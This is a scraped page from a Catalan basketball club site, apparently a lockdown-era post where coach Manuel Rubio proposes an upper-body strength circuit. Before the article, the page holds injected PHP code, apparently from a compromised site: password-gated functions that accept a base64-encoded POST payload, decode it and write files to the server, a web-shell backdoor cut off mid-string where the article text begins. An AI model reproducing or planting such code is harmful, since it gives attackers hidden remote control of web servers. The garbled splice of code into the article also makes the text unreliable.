function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" Entrenament amb Manuel Rubio: extremitats superiors - Tgn Bàsquet Club -

Home / #joemquedoacasa / Entrenament amb Manuel Rubio: extremitats superiors

Entrenament amb Manuel Rubio: extremitats superiors

By
Updated: març 26, 2020

Manuel Rubio, entrenador i preparador físic del cadet masculí 04 A i de l’infantil femení 07 A ens proposa una sèrie d’exercicis de tonificació de l’extremitat superior. Exercicis de braços amb circuit per treballar la força-resistència. L’execució ha der ser sense presses i amb bona amplitud de moviment. Metodologia: exercici + descans, nou exercici + descans… fins a fer tot el circuit. Realitza com a molt 3 circuits al dia, 3 sessions a la setmana.

 

Related Posts

Deixa un comentari

L'adreça electrònica no es publicarà. Els camps necessaris estan marcats amb *